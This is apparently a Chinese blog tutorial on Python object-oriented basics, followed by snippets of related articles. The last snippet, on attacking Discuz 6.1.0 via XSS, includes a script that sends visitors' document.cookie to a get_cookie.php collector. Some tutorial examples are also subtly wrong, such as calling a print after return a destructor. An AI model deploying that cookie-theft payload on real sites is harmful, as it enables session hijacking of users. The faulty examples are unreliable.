python对象点方法_python面向对象知识点疏理

面向对象技术简介

类:用来描述具有相同的属性和方法的对象的集合。它定义了该集合中每个对象所共有的属性和方法。对象是类的实例。class

类变量:类变量在整个实例化的对象中是公用的。类变量定义在类中且在函数体之外。类变量通常不作为实例变量使用。

数据成员:类变量或者实例变量用于处理类及其实例对象的相关的数据。

方法重写:如果从父类继承的方法不能满足子类的需求,可以对其进行改写,这个过程叫方法的覆盖,也称为方法的重写。

实例变量:定义在方法中的变量,只作用于当前实例的类。

继承:即一个派生类(derived class)继承基类(base

class)的字段和方法。继承也允许把一个派生类的对象作为一个基类对象对待。

1:创建类#!/usr/bin/env python

class Price(object):   #新式类,object类是所有类的基类/父类

a = 0

def __init__(self):    #构造函数,当实例化对象时自动调用

self.price = 100    #属性

self.count = 0.7

def price(self):               #方法

new_price = self.price * self.count

return new_price

print "this is new_price"   #构析函数,执行price方法时自动调用

p = Price()

print p.price

print p.a

a 变量是一个类变量,它的值将在这个类的所有实例之间共享。你可以在内部类或外部类使用 P 访问。

第一种方法__init__()方法是一种特殊的方法,被称为类的构造函数或初始化方法,当创建了这个类的实例时就会调用该方法

self 代表类的实例,self 在定义类的方法时是必须有的,虽然在调用时不必传入相应的参数。

self代表类的实例,而非类

类的方法与普通的函数只有一个特别的区别——它们必须有一个额外的第一个参数名称, 按照惯例它的名称是 self。

输入:#!/usr/bin/env python

# coding=utf-8

class Test:

def a(self):    #self代表类的实例

print(self)

print (self.__class__)

t = Test()

t.a()

输出/usr/bin/python2.7 /root/PycharmProjects/untitled/002.py

__main__.Test

Process finished with exit code 0

从执行结果可以很明显的看出,self 代表的是类的实例,代表当前对象的地址,而 self.class 则指向类。

self 不是 python 关键字,我们把他换成 runoob 也是可以正常执行的:

创建实例对象

访问属性:可以使用点(.)来访问对象的属性。使用如下类的名称访问类变量:class Price(object):

a = 0

def __init__(self):

self.price = 100

self.count = 0.7

def price(self):

new_price = self.price * self.count

return new_price

p = Price()                     ##实例化过程

print p.price                  ##访问属性

print p.a

Python内置类属性__dict__ : 类的属性(包含一个字典,由类的数据属性组成)

__doc__ :类的文档字符串

__name__: 类名

__module__:   类定义所在的模块(类的全名是'__main__.className',如果类位于一个导入模块mymod中,那么className.__module__ 等于 mymod)

__bases__ : 类的所有父类构成元素(包含了一个由所有父类组成的元组)

Python内置类属性调用实例如下:#!/usr/bin/env python

# coding=utf-8

class Exam:

"hahahaha"

def __init__(self,name,salary):

self.name = name

self.salary = salary

Exam.name = "haha,hehe"

print Exam.__doc__

print Exam.__dict__

print Exam.__module__

print Exam.__bases__

python对象销毁(垃圾回收)

Python 使用了引用计数这一简单技术来跟踪和回收垃圾。

在 Python 内部记录着所有使用中的对象各有多少引用。

一个内部跟踪变量,称为一个引用计数器。

当对象被创建时, 就创建了一个引用计数, 当这个对象不再需要时,

也就是说, 这个对象的引用计数变为0 时, 它被垃圾回收。但是回收不是"立即"的,

由解释器在适当的时机,将垃圾对象占用的内存空间回收。a = 40      # 创建对象  <40>b = a       # 增加引用, <40> 的计数c = [b]     # 增加引用.  <40> 的计数del a       # 减少引用 <40> 的计数b = 100     # 减少引用 <40> 的计数c[0] = -1   # 减少引用 <40> 的计数

垃圾回收机制不仅针对引用计数为0的对象,同样也可以处理循环引用的情况。循环引用指的是,两个对象相互引用,但是没有其他变量引用他们。这种情况

下,仅使用引用计数是不够的。Python 的垃圾收集器实际上是一个引用计数器和一个循环垃圾收集器。作为引用计数的补充,

垃圾收集器也会留心被分配的总量很大(及未通过引用计数销毁的那些)的对象。 在这种情况下, 解释器会暂停下来, 试图清理所有未引用的循环。

类的继承

面向对象的编程带来的主要好处之一是代码的重用,实现这种重用的方法之一是通过继承机制。继承完全可以理解成类之间的类型和子类型关系。

需要注意的地方:继承语法   class 派生类名(基类名): 基类名写在括号里,基本类是在类定义的时候,在元组之中指明的。

在python中继承中的一些特点:1:在继承中基类的构造(__init__()方法)不会被自动调用,它需要在其派生类的构造中亲自专门调用。

2:在调用基类的方法时,需要加上基类的类名前缀,且需要带上self参数变量。区别于在类中调用普通函数时并不需要带上self参数

3:Python总是首先查找对应类型的方法,如果它不能在派生类中找到对应的方法,它才开始到基类中逐个查找。(先在本类中查找调用的方法,找不到才去基类中找)。

如果在继承元组中列了一个以上的类,那么它就被称作"多重继承" 。

输入#!/usr/bin/env python

# coding=utf-8

class Father:

a = 100

def __init__(self):

print "i am  father"

def fatherMethod(self):

print "i am fatherMethod "

def setfa(self):

Father.fatherMethod()

class Son(Father):

def __init__(self):

print "i am son"

def sonMethod(self):

print "i am sonMethod"

s = Son()

s.fatherMethod()

s.sonMethod()

输出:i am son

i am fatherMethod

i am sonMethod

也可以继承多个类:class C(A, B):   # 继承类 A 和 B

调用方法重写

输入:#!/usr/bin/env python

# coding=utf-8

class Father:

a = 100

def __init__(self):

print "i am  father"

def fatherMethod(self):

print "i am fatherMethod "

class Son(Father):

def  fatherMethod(self):

print "i am big boy"

s = Son()

s.fatherMethod()输出:

i am  father

i am big boy

类属性与方法

类的私有属性

__private_attrs:两个下划线开头,声明该属性为私有,不能在类的外部被使用或直接访问。在类内部的方法中使用时 self.__private_attrs。

类的方法

在类的内部,使用 def 关键字可以为类定义一个方法,与一般函数定义不同,类方法必须包含参数 self,且为第一个参数

类的私有方法

__private_method:两个下划线开头,声明该方法为私有方法,不能在类地外部调用。在类的内部调用 self.__private_methods

输入:class Father:

a = 100      #公开变量

__haha = 0 #私有变量

def __init__(self):

print "i am  father"

def fatherMethod(self):

print "i am fatherMethod "

class Son:

def  fatherMethod(self):

print "i am big boy"

s = Son()

s.fatherMethod()

Son.__haha()   ##报错

输出:Traceback (most recent call last):

File "/root/PycharmProjects/untitled/004.py", line 16, in 

Son.__haha()

AttributeError: class Son has no attribute '__haha'

单下划线、双下划线、头尾双下划线说明:__foo__: 定义的是特列方法,类似 __init__() 之类的。

_foo: 以单下划线开头的表示的是 protected 类型的变量,即保护类型只能允许其本身与子类进行访问,不能用于 from module import *

__foo: 双下划线的表示的是私有类型(private)的变量, 只能是允许这个类本身进行访问了。

面向对象其他特性

封装

封装:把内容统一放在一个地方,看成一个整体,(实例化对象self和类的属性绑定在一起);

- 访问封装内容的两种方式:

通过self去访问封装的内容;(self.name),

通过实例化的对象名去访问封装的内容;(p1 = People("westos",17)     p1.age)

### 继承

继承:子承父业

- 新名词:基类/派生类, 父类/子类, 新式类和经典类

- 多继承:

新式类: 广度优先继承;(python2.x和python3.x均支持)

经典类:深度优先继承;(python2.x支持,python3.x没有经典类)

- 注意:

类的方法中可以传递一个对象;

多态

如果子类调用的方法,子类没有,父类有,运行父类;

如果子类调用的方法,子类有,父类也有,只运行子类的;

面向对象进阶

- 类变量,全局变量,在内存中只存储一份;

- 普通的对象属性,每个对象中都需要存储一份;

方法

- 实例化方法:第一个参数为self(实例化本身);

- 类方法:第一个参数是cls(类本身);通过@classmethod装饰器实现;

- 静态方法:第一个参数既不是self也不是cls;通过@staticmethod方法实现;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/533225.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ckeditor java 上传_CKEditor粘贴图片自动上传到服务器(Java版)

环境&#xff1a;java,springmvc,ckeditor,tomcat,maven情况&#xff1a;在做项目的时候发现本地图片粘贴到ckeditor中&#xff0c;img标签的src中的值是“data:image/png;base64,”开头的&#xff0c;后面会跟一串字符串&#xff0c;图片越大字符串越长&#xff0c;这样的图片…

java 序列化声明_显式声明默认Java类序列化方法的原因是什么?

我定期看到具有以下结构的Java类&#xff1a;class MyClass implements Serializable {private static final long serialVersionUID 1L;// ...private void writeObject(final java.io.ObjectOutputStream s) throws IOException {s.defaultWriteObject();}private void read…

java 百度poi_Android应用中使用百度地图API之POI(三)

先看执行后的图吧&#xff1a;POI(Point of Interest)。中文能够翻译为“兴趣点”。在地理信息系统中。一个POI能够是一栋房子、一个商铺、一个邮筒、一个公交站等 具体&#xff1a;http://developer.baidu.com/map/sdkandev-4.htm主要应用 MKSearch 类&#xff1a;com.baidu.…

java 顺序存储键值对_java://Comparator、Comparable的用法(按照要求将map集合的键值对进行顺序输出)...

import java.util.*;public class Person implements Comparable//使Person的属性具有比较性{private String name;private int age;public Person(String name,int age)//初始化构造函数{this.name name;this.age age;}public void set(String name,int age)//重新设置姓名和…

java日历事件处理_日历表的事件处理和管理(刘静)

1 //添加gridview,显示具体的日期2 SuppressLint("ResourceAsColor")3 private voidaddGridView() {4 LinearLayout.LayoutParams params newLinearLayout.LayoutParams(5 LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT);6 //取得屏幕的宽度和高度7 WindowMa…

java第四次上机作业_第十java上机作业

第十java上机作业 第七章上级作业 7.1 public class Rectangle { double width1; double height1; String color“white“; public Rectangle(){} public Rectangle(double width,double height,String color) { this.widthwidth; this.heightheight; this.colorcolor; } publi…

java解析带斜杠的参数_Java Spring MVC应用程序仅接受带有斜杠的POST请求

war文件名是forms.war。 web.xml中的url模式为"/"控制器操作的RequestMapping为"/"如果遇到localhost&#xff1a;8080 /表单&#xff0c;则RequestMethod.GET操作正常工作如果针对localhost:8080/forms点击发布数据&#xff0c;则不会触发RequestMethod.P…

java文件编码格式环境变量_Jenkins maven 构建乱码,修改file.encoding系统变量编码为UTF-8...

一切都是windows的控制台默认编码GBK问题情景&#xff1a;使用jenkins构建&#xff0c;console 输出的中文乱码。代码编码格式是utf-8&#xff0c;因为Jenkins会默认读取当前系统的编码格式&#xff0c;导致构建日志乱码和selenium自动化测试输入的中文乱码。控制台输出乱码摸索…

http multipart java_Http MultiPart请求

我正在尝试使用httpClient库上传图像(多部分/表单数据) . 我可以使用httpPost方法和byteArrayRequestEntity上传图像 . 以下是我使用的代码&#xff1a;File file new File(imageFilePath);HttpClient client new HttpClient();PostMethod method new PostMethod("http…

java分布式会话redis_详解springboot中redis的使用和分布式session共享问题

对于分布式使用NginxTomcat实现负载均衡&#xff0c;最常用的均衡算法有IP_Hash、轮训、根据权重、随机等。不管对于哪一种负载均衡算法&#xff0c;由于Nginx对不同的请求分发到某一个Tomcat&#xff0c;Tomcat在运行的时候分别是不同的容器里&#xff0c;因此会出现session不…

python3.8使用方法_python3.8新特性

python3.8新特性Python3.8稳定版已发布&#xff0c;官网发布了一篇介绍新特性的文章&#xff0c;在此记录一下。新增赋值操作符:作用&#xff1a;把较大表达式中的某部分值赋给变量,因为看起来像海象的眼睛和牙齿&#xff0c;: 操作符有个特别的名字&#xff1a;海象操作符范例…

java责任链设计模式 订单_Java责任链设计模式实例分析

本文实例讲述了Java责任链设计模式。分享给大家供大家参考&#xff0c;具体如下&#xff1a;一 代码abstract class AbstractHandler {private Handler Handler null;// 持有责任链中下一个责任处理者的引用public void setHandler( Handler handler ) {this.Handler handler…

java map去重复的数据_使用HashMap去重复数据.

因为HashMap是键值对形式&#xff0c;所以一个键只对应一个Value&#xff0c;利用这个原理&#xff0c;我们就可以根据某列重复数据做键对重复数据进行处理啦~首先先看看我要处理 的数据然后我最后想要的结果&#xff1a;需求&#xff1a;根据groupName每个分组信息只显示一条数…

centos6.5 MySQL 服务器_启用CentOS6.5 64位安装时自带的MySQL数据库服务器

本人在虚拟机上又安装了一台linux机器&#xff0c;作为MySQL数据库服务器用&#xff0c;在安装时选择了系统自带的MySQL服务器端&#xff0c;以下是启用步骤。首先开启mysqld服务#service mysqld start进入/usr/bin目录#cd /usr/bin设定mysql数据库root用户的密码#mysqladmin -…

java xml date_W3C XML 模式时间数据类型与java Date进行转换

W3C XML 模式时间数据格式:"2014-11-17T 09:40:25" 或者 “2014-11-17T 09:40:2508:00”要想把以上格式的时间转换为能被java所使用个格式有以下3种办法&#xff1a;(1)、jdk中有这么一个类XMLGregorianCalendar&#xff0c;使用XMLGregorianCalendar类中的toGreGreg…

PHP stomp 连接判断,php实现通过stomp协议连接ActiveMQ操作示例

本文实例讲述了php实现通过stomp协议连接ActiveMQ操作。分享给大家供大家参考&#xff0c;具体如下&#xff1a;前面介绍了php ActiveMQ的安装与使用&#xff0c;这里再来讲述一下php通过stomp协议连接ActiveMQ。一、安装php的stomp扩展http://pecl.php.net/package/stomp如&am…

authinfo.php,【nginxphp】后台权限认证方式

一、最常用的方法(代码中限制)1、如何限制IPfunction get_new_ip(){if(getenv(HTTP_CLIENT_IP)) {$onlineip getenv(HTTP_CLIENT_IP);} elseif(getenv(HTTP_X_FORWARDED_FOR)) {$onlineip getenv(HTTP_X_FORWARDED_FOR);} elseif(getenv(REMOTE_ADDR)) {$onlineip getenv(RE…

php数组无限文类,php把无限级分类生成数组的类

你是否遇到需要把无限级分类循环出来&#xff0c;是不是很头痛。比如&#xff0c;要循环出一个SELECT,或一个TABLE&#xff0c;要写一大堆判断。我的做法是生成数组&#xff0c;可以重复调用&#xff0c;直接循环数组就行了。为了方便&#xff0c;把它写成了类&#xff1a;clas…

php sql取数据生成数组中,php中实现数组生成要执行的sql语句

本篇文章主要介绍php中实现数组生成要执行的sql语句&#xff0c;感兴趣的朋友参考下&#xff0c;希望对大家有所帮助。会不会碰到这样一种情况呢&#xff1f;每次获取数据将数据和历史版本都有一定的差别&#xff0c;然而用ThinkPHP的addAll()函数&#xff0c;却会将已有的数据…

xss漏洞php注射实战,利用XSS渗透DISCUZ 6.1.0实战

论坛——>入侵者布置的跨站攻击——>转移被入侵这视线(隐蔽)论坛插入脚本&#xff1a;var img new Image();img.src get_cookie.php?var encodeURI(document.cookie);但是我不一样&#xff0c;因为他需要诱导人去点击他的链接&#xff0c;但是现在人不是傻子&#xf…